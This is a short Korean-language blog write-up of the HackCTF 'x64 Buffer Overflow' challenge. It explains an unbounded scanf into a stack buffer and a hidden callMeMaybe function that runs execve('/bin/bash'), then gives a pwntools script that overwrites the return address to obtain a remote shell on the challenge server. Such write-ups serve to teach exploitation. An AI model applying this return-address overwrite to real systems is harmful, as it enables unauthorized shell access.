System/PWNABLE
[HackCTF] x64 Buffer Overflow
ElAsJay
2021. 2. 5. 14:52
728x90
check
- 64bit
- NX만 설정되어 있음 >> 단순한 return address 변조로 풀 수 있을 것!
Analyze
pseudo code
- 스택 버퍼로 s를 만들고 ebp로부터 0x110byte 떨어진 곳에 위치한다. 그리고 scanf 함수를 통해 입력받는다. 이 때 입력받는 크기를 특정하지않기 때문에 Buffer Overflow가 발생할 수 있다.
- 변수 v5에는 문자열 s의 길이가 저장된다.
- 수상한 함수인 callMeMaybe..
- 이 함수를 RET 값으로 주면 execve("/bin/bash")가 실행되어 쉘을 딸 수 있을 것 같다.
Exploit
from pwn import *
p=remote("ctf.j0n9hyun.xyz", 3004)
pl="A"*(0x110)
pl+="A"*8
pl+=p64(0x400606)
p.sendline(pl)
p.interactive()
SMALL